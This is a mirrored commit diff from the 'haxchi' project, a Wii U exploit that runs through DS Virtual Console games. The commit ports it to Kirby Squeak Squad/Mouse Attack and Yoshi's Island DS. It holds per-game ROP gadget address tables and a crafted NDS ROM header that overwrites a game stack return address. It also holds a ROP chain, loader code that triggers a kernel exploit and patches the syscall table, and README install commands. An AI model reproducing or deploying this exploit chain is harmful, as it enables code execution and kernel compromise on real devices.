mirror of
https://github.com/wiiu-env/haxchi.git
synced 2024-11-05 00:05:05 +01:00
added support for kirby squeak squad/mouse attack as well as yoshis island ds
This commit is contained in:
parent
ad8d63f081
commit
e80cd483b9
46
Makefile
46
Makefile
@ -1,18 +1,50 @@
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.PHONY := all code550.bin
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all: WUP-N-DAAP.nds
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all: brainage kirby yoshids brainage.zip kirby.zip yoshids.zip
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code550.bin:
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brainage: setup_brainage brainage.nds
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kirby: setup_kirby kirby.nds
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yoshids: setup_yoshids yoshids.nds
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setup_brainage:
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rm -f *.bin
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@cd hbl_loader && make && cd ..
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@cp -f brainage_defs.s defines.s
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haxchi_rop_hook.bin haxchi_rop.bin: code550.bin haxchi_rop.s
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setup_kirby:
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rm -f *.bin
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@cd hbl_loader && make && cd ..
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@cp -f kirby_defs.s defines.s
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setup_yoshids:
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rm -f *.bin
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@cd hbl_loader && make && cd ..
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@cp -f yoshids_defs.s defines.s
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brainage.nds:
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armips haxchi_rop.s
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WUP-N-DAAP.nds: haxchi_rop_hook.bin haxchi_rop.bin haxchi.s
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armips haxchi.s
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zip -JXjq9 rom.zip WUP-N-DAAP.nds
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kirby.nds:
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armips haxchi_rop.s
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armips haxchi.s
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yoshids.nds:
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armips haxchi_rop.s
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armips haxchi.s
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brainage.zip:
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zip -JXjq9 brainage.zip brainage.nds
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kirby.zip:
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zip -JXjq9 kirby.zip kirby.nds
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yoshids.zip:
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zip -JXjq9 yoshids.zip yoshids.nds
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clean:
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@rm -f *.bin WUP-N-DAAP.nds rom.zip
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@rm -f *.bin brainage.nds brainage.zip kirby.nds kirby.zip yoshids.nds yoshids.zip
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@cd hbl_loader && make clean && cd ..
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@echo "all cleaned up !"
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13
README.md
13
README.md
@ -1,18 +1,25 @@
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# haxchi
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This is a ported version of the haxchi exploit created by smea and others for the european release of brain training.
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This is a ported version of the haxchi exploit created by smea and others for all sorts of different ds vc games.
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In addition to being ported it also includes a homebrew launcher loader as its payload so you can use it for a lot of things.
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## install process
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haxchi can be very easily installed using iosuhax's wupclient. for example, if hachihachi is installed to the MLC, it suffices to do:
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```
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w.up("rom.zip", "/vol/storage_mlc01/usr/title/00050000/10179C00/content/0010/rom.zip")
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w.up("rom.zip", "/vol/storage_mlc01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/0010/rom.zip")
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```
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of course, using wupclient to install haxchi permanently requires that redNAND be disabled, unless hachihachi is installed to USB, in which case it can be installed from redNAND using:
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```
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w.up("rom.zip", "/vol/storage_usb01/usr/title/00050000/10179C00/content/0010/rom.zip")
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w.up("rom.zip", "/vol/storage_usb01/usr/title/00050000/YOUR_GAME_TITLE_ID/content/0010/rom.zip")
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```
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make sure to replace YOUR_GAME_TITLE_ID with one of the following:
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10179B00 - US Brain Age
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10179C00 - PAL Brain Training
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10198A00 - US Yoshi's Island DS
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10198A00 - PAL Yoshi's Island DS
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101A5600 - US Kirby Squeak Squad
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101A5700 - PAL Kirby Mouse Attack
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## contents
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41
brainage_defs.s
Normal file
41
brainage_defs.s
Normal file
@ -0,0 +1,41 @@
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FILE_NDS_NAME equ "brainage.nds"
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; game stack return address
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HAX_TARGET_ADDRESS equ (0x1076FAA4)
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HACHI_APPLICATION_PTR equ (0x10A6E038)
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ARM9_ROM_LOCATION equ (0x16220400)
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ARM7_ROM_MEM2_START equ (0xEBDDFC00)
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; constants for position calcs
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RPX_OFFSET equ (0x01800000)
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; rop-gadgets part 1 (used for all sorts of different things)
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LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02208F6C)
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BCTRL equ (RPX_OFFSET + 0x02208EA4)
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MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x0209A500)
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LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x0209A12C)
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LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020A38AC)
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MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0216FBF0)
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LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02279BB8)
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; rop-gadgets part 2 (only used to set up core 0 thread stack)
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LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0206966C)
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MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020A58C4)
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LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200B8D0)
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LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0207AD84)
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LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205182C)
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LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02014E0C)
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LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0213FE6C)
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MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202028C)
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; functions used from game
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NERD_CREATETHREAD equ (RPX_OFFSET + 0x02223C40)
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NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222405C)
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NERD_JOINTHREAD equ (RPX_OFFSET + 0x02223AEC)
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HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02007774)
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NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201BD28)
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CORE_SHUTDOWN equ (RPX_OFFSET + 0x02222FBC)
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_START_EXIT equ (RPX_OFFSET + 0x02022A70)
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19
coreinit.s
Normal file
19
coreinit.s
Normal file
@ -0,0 +1,19 @@
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; constants for position calcs
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COREINIT_OFFSET equ (- 0xFE3C00)
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; coreinit gadgets
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MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL equ (COREINIT_OFFSET + 0x02002968)
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; coreinit functions
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OS_CREATETHREAD equ (0x02025764 + COREINIT_OFFSET)
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OS_GETTHREADAFFINITY equ (0x020266A4 + COREINIT_OFFSET)
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OS_FORCEFULLRELAUNCH equ (0x02019BA8 + COREINIT_OFFSET)
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OSCODEGEN_GETVARANGE equ (0x0201B1C0 + COREINIT_OFFSET)
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OSCODEGEN_SWITCHSECMODE equ (0x0201B2C0 + COREINIT_OFFSET)
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MEMCPY equ (0x02019BC8 + COREINIT_OFFSET)
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DC_FLUSHRANGE equ (0x02007B88 + COREINIT_OFFSET)
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IC_INVALIDATERANGE equ (0x02007CB0 + COREINIT_OFFSET)
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OSSAVESDONE_READYTORELEASE equ (0x0201D5B8 + COREINIT_OFFSET)
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OSRELEASEFOREGROUND equ (0x0201D5BC + COREINIT_OFFSET)
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OSFATAL equ (0x02015218 + COREINIT_OFFSET)
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9
haxchi.s
9
haxchi.s
@ -1,8 +1,7 @@
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.create "WUP-N-DAAP.nds", 0
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.nds
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.include "defines.s"
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.create FILE_NDS_NAME, 0
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; game stack return address
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hax_target_address equ 0x1076FAA4
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.nds
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.org 0x000
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.ascii "HAXCHI" ; Game Title
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@ -19,7 +18,7 @@ hax_target_address equ 0x1076FAA4
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.word arm9_data_end - arm9_data ; ARM9 size
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.word arm7_data ; ARM7 rom_offset
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.word 0x2000000 ; ARM7 entry_address
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.word 0xEBDDFC00 + hax_target_address ; ARM7 ram_address
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.word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address
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.word arm7_data_end - arm7_data ; ARM7 size
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.org 0x080
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74
haxchi_rop.s
74
haxchi_rop.s
@ -1,64 +1,11 @@
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; game stack return address
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hax_target_address equ 0x1076FAA4
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; constants for position calcs
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COREINIT_OFFSET equ (- 0xFE3C00)
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RPX_OFFSET equ (0x01800000)
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SYSAPP_OFFSET equ (0x01B75D00)
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; rop-gadgets part 1 (used for all sorts of different things)
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LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02208F6C)
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MTCTR_R28_ADDI_R6x68_MR_R5R29_R4R22_R3R21_BCTRL equ (RPX_OFFSET + 0x02208E90)
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BCTRL equ (RPX_OFFSET + 0x02208EA4)
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MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x0209A500)
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LWZ_R0x104_MTLR_R0_ADDI_R1x100_BLR equ (RPX_OFFSET + 0x020E0108)
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LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x0209A12C)
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LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020A38AC)
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MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0216FBF0)
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LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02279BB8)
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MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL equ (COREINIT_OFFSET + 0x02002968)
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; rop-gadgets part 2 (only used to set up core 0 thread stack)
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LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0206966C)
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MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020A58C4)
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LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200B8D0)
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LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0207AD84)
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LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205182C)
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LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02014E0C)
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LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0213FE6C)
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MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202028C)
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; functions used from game and libraries
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NERD_CREATETHREAD equ (RPX_OFFSET + 0x02223C40)
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NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222405C)
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NERD_JOINTHREAD equ (RPX_OFFSET + 0x02223AEC)
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HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02007774)
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NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x201BD28)
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CORE_SHUTDOWN equ (RPX_OFFSET + 0x02222FBC)
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_START_EXIT equ (RPX_OFFSET + 0x02022A70)
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_SYSLAUNCHMIISTUDIO equ (SYSAPP_OFFSET + 0x020019D4)
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OS_CREATETHREAD equ (0x02025764 + COREINIT_OFFSET)
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OS_GETTHREADAFFINITY equ (0x020266A4 + COREINIT_OFFSET)
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OS_FORCEFULLRELAUNCH equ (0x02019BA8 + COREINIT_OFFSET)
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OSCODEGEN_GETVARANGE equ (0x0201B1C0 + COREINIT_OFFSET)
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OSCODEGEN_SWITCHSECMODE equ (0x0201B2C0 + COREINIT_OFFSET)
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MEMCPY equ (0x02019BC8 + COREINIT_OFFSET)
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DC_FLUSHRANGE equ (0x02007B88 + COREINIT_OFFSET)
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IC_INVALIDATERANGE equ (0x02007CB0 + COREINIT_OFFSET)
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OSSAVESDONE_READYTORELEASE equ (0x0201D5B8 + COREINIT_OFFSET)
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OSRELEASEFOREGROUND equ (0x0201D5BC + COREINIT_OFFSET)
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OSFATAL equ (0x02015218 + COREINIT_OFFSET)
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.include "coreinit.s"
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.include "defines.s"
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; more useful definitions
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CODEGEN_ADR equ 0x01800000
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CODEGEN_ADR equ (0x01800000)
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HACHI_APPLICATION_PTR equ (0x10A6E038)
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NERD_THREAD0OBJECT equ (hax_target_address - 0x1000)
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NERD_THREAD2OBJECT equ (hax_target_address - 0x2000)
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NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000)
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NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000)
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.macro set_sp,v
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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@ -155,17 +102,19 @@ NERD_THREAD2OBJECT equ (hax_target_address - 0x2000)
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; hacked from arm7 ram offset (unsafe, game stack pointer)
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.create "haxchi_rop_hook.bin", hax_target_address
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.create "haxchi_rop_hook.bin", HAX_TARGET_ADDRESS
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.arm.big
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rop_hook_start:
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;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop
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;call_func OSFATAL, 0x1007E7A8, 0, 0, 0
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; move stack pointer to safe area
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set_sp (rop_start - 4)
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.Close
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; original game arm9 ram offset (safe, normally arm9 code)
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.create "haxchi_rop.bin", 0x16220400
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.create "haxchi_rop.bin", ARM9_ROM_LOCATION
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.arm.big
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rop_start:
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@ -209,7 +158,7 @@ rop_start:
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; prepare r31 to be a valid value for the next call
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEADBABE ; r30
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.word (0x1076FAA4-0x3000) ; r31 (has to be valid here)
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.word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here)
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.word 0xDEAD0001 ; garbage
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; loads the required value for the addition onto r3 later on
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.word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR
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@ -253,9 +202,6 @@ rop_start:
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call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
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call_func CORE_SHUTDOWN, 0, 0, 0, 0
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; on exit we want to go into mii studio directly
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call_func _SYSLAUNCHMIISTUDIO, 0x0, 0x0, 0x0, 0x0
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; prepare system for foreground release
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call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0
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@ -2,10 +2,11 @@ PATH := $(DEVKITPPC)/bin:$(PATH)
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PREFIX ?= powerpc-eabi-
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CC = $(PREFIX)gcc
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AS = $(PREFIX)gcc
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CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin
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CFLAGS = -std=gnu99 -O0 -nostdinc -fno-builtin -g
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ASFLAGS = -mregnames -x assembler-with-cpp
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LD = $(PREFIX)ld
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LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc
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OBJCOPY = $(PREFIX)objcopy
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LDFLAGS=-Ttext 1800000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc
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OBJDUMP ?= $(PREFIX)objdump
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project := .
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root := $(CURDIR)
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@ -35,11 +36,13 @@ main: sd_loader.h
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -s -o ../code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS)
|
||||
$(LD) -o code$(FIRMWARE).elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map code.map
|
||||
$(OBJCOPY) code$(FIRMWARE).elf -O binary ../code$(FIRMWARE).bin
|
||||
|
||||
clean:
|
||||
rm -rf $(build)
|
||||
rm -rf sd_loader.h
|
||||
rm -rf code$(FIRMWARE).elf code.map
|
||||
make clean -C sd_loader
|
||||
|
||||
print_stats:
|
||||
|
@ -41,15 +41,19 @@ extern void KernelPatches(void);
|
||||
/* ****************************************************************** */
|
||||
void __main(void)
|
||||
{
|
||||
/* Quit ongoing menu load music */
|
||||
unsigned int sound_handle = 0;
|
||||
OSDynLoad_Acquire("snd_core.rpl", &sound_handle);
|
||||
void (* AXInit)();
|
||||
void (* AXQuit)();
|
||||
OSDynLoad_FindExport(sound_handle, 0, "AXInit", &AXInit);
|
||||
OSDynLoad_FindExport(sound_handle, 0, "AXQuit", &AXQuit);
|
||||
AXInit();
|
||||
AXQuit();
|
||||
OSDynLoad_Acquire("sndcore2.rpl", &sound_handle);
|
||||
if(sound_handle == 0)
|
||||
{
|
||||
/* Quit ongoing menu load music */
|
||||
OSDynLoad_Acquire("snd_core.rpl", &sound_handle);
|
||||
void (* AXInit)();
|
||||
void (* AXQuit)();
|
||||
OSDynLoad_FindExport(sound_handle, 0, "AXInit", &AXInit);
|
||||
OSDynLoad_FindExport(sound_handle, 0, "AXQuit", &AXQuit);
|
||||
AXInit();
|
||||
AXQuit();
|
||||
}
|
||||
|
||||
/* Get coreinit handle and keep it in memory */
|
||||
unsigned int coreinit_handle;
|
||||
@ -82,6 +86,57 @@ void __main(void)
|
||||
if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)
|
||||
run_kexploit(&private_data);
|
||||
|
||||
/* Prepare for _SYSLaunchMiiStudio thread */
|
||||
int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
|
||||
int (*OSResumeThread)(void *thread);
|
||||
int (*OSIsThreadTerminated)(void *thread);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||
|
||||
/* Allocate a stack for the thread */
|
||||
void *stack = private_data.MEMAllocFromDefaultHeapEx(0x1000, 0x20);
|
||||
/* Create the thread variable */
|
||||
void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8);
|
||||
if(!thread || !stack)
|
||||
ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser.");
|
||||
|
||||
/* Quickly find _SYSLaunchMiiStudio */
|
||||
unsigned int sysapp_handle;
|
||||
void (*_SYSLaunchMiiStudio)(void) = 0;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio);
|
||||
if(_SYSLaunchMiiStudio == (void*)0)
|
||||
OSFatal("_SYSLaunchMiiStudio is not there?");
|
||||
|
||||
/* Do _SYSLaunchMiiStudio in core 1 */
|
||||
int ret = OSCreateThread(thread, _SYSLaunchMiiStudio, 0, (void*)0, (unsigned int)stack+0x1000, 0x1000, 0, 0x1A);
|
||||
if (ret == 0)
|
||||
ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser.");
|
||||
|
||||
/* Schedule it for execution */
|
||||
OSResumeThread(thread);
|
||||
|
||||
/* Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate */
|
||||
while(OSIsThreadTerminated(thread) == 0)
|
||||
{
|
||||
asm volatile (
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
);
|
||||
}
|
||||
|
||||
/* Free thread memory and stack */
|
||||
private_data.MEMFreeToDefaultHeap(thread);
|
||||
private_data.MEMFreeToDefaultHeap(stack);
|
||||
|
||||
/* setup kernel copy data syscall */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
|
||||
|
41
kirby_defs.s
Normal file
41
kirby_defs.s
Normal file
@ -0,0 +1,41 @@
|
||||
|
||||
FILE_NDS_NAME equ "kirby.nds"
|
||||
|
||||
; game stack return address
|
||||
HAX_TARGET_ADDRESS equ (0x107968AC)
|
||||
|
||||
HACHI_APPLICATION_PTR equ (0x10c8c938)
|
||||
|
||||
ARM9_ROM_LOCATION equ (0x1643F200)
|
||||
ARM7_ROM_MEM2_START equ (0xEBBC0E00)
|
||||
|
||||
; constants for position calcs
|
||||
RPX_OFFSET equ (0x01800000)
|
||||
|
||||
; rop-gadgets part 1 (used for all sorts of different things)
|
||||
LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02207084)
|
||||
BCTRL equ (RPX_OFFSET + 0x02206FBC)
|
||||
MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3610)
|
||||
LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A323C)
|
||||
LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020ACA38)
|
||||
MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179168)
|
||||
LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B44)
|
||||
|
||||
; rop-gadgets part 2 (only used to set up core 0 thread stack)
|
||||
LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908)
|
||||
MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEA50)
|
||||
LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8)
|
||||
LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DC0)
|
||||
LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205788C)
|
||||
LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990)
|
||||
LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021492A4)
|
||||
MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC)
|
||||
|
||||
; functions used from game
|
||||
NERD_CREATETHREAD equ (RPX_OFFSET + 0x022219E8)
|
||||
NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E04)
|
||||
NERD_JOINTHREAD equ (RPX_OFFSET + 0x02221894)
|
||||
HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8)
|
||||
NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C)
|
||||
CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220D4C)
|
||||
_START_EXIT equ (RPX_OFFSET + 0x0202693C)
|
41
yoshids_defs.s
Normal file
41
yoshids_defs.s
Normal file
@ -0,0 +1,41 @@
|
||||
|
||||
FILE_NDS_NAME equ "yoshids.nds"
|
||||
|
||||
; game stack return address
|
||||
HAX_TARGET_ADDRESS equ (0x1079B52C)
|
||||
|
||||
HACHI_APPLICATION_PTR equ (0x10C91938)
|
||||
|
||||
ARM9_ROM_LOCATION equ (0x16444200)
|
||||
ARM7_ROM_MEM2_START equ (0xEBBBBE00)
|
||||
|
||||
; constants for position calcs
|
||||
RPX_OFFSET equ (0x01800000)
|
||||
|
||||
; rop-gadgets part 1 (used for all sorts of different things)
|
||||
LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02206F7C)
|
||||
BCTRL equ (RPX_OFFSET + 0x02206EB4)
|
||||
MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3508)
|
||||
LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A3134)
|
||||
LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001068)
|
||||
MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179060)
|
||||
LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277A3C)
|
||||
|
||||
; rop-gadgets part 2 (only used to set up core 0 thread stack)
|
||||
LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018910)
|
||||
MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AE948)
|
||||
LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4B0)
|
||||
LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DBC)
|
||||
LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02057874)
|
||||
LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018998)
|
||||
LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214919C)
|
||||
MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240F4)
|
||||
|
||||
; functions used from game
|
||||
NERD_CREATETHREAD equ (RPX_OFFSET + 0x022218E0)
|
||||
NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221CFC)
|
||||
NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222178C)
|
||||
HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CD0)
|
||||
NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB24)
|
||||
CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220C44)
|
||||
_START_EXIT equ (RPX_OFFSET + 0x02026944)
|
Loading…
Reference in New Issue
Block a user